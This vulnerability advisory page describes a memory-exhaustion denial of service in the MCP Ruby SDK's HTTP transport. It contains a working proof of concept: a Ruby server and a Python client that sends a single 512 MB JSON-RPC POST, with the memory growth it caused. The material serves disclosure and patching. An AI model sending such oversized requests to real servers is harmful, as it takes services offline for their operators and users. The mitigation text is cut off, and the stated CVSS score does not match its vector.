🛡️ CVE-2026-67432 — mcp
Description
MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport
Summary
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read— reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true)— fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
```ruby
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = ps -o rss= -p #{Process.pid}.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
```
Client (oom_poc_client.py)
```python
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)
```
Reproduction commands
```sh
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal B
```
Observed result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
```
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MB
```
A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
<img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" />
<img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" />
Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app — the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
Suggested mitigation
1. Reject requests whose Content-Length (o
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2026-67432 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.
Affected software
CVE-2026-67432 is recorded against 2 packages.
- mcp (fixed in 0.23.0)
- unknown
Timeline and source
Published on 30 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| mcp | — | 0.23.0 |
| unknown | — | — |
Similar Threats
- High ROOT-APP-PYPI-CVE-2025-66416
- High CVE-2026-67431
- Unknown CVE-2026-63118
- Medium CVE-2026-63119
- Medium CVE-2026-67430
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is mcp part of your stack?
CVE-2026-67432 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.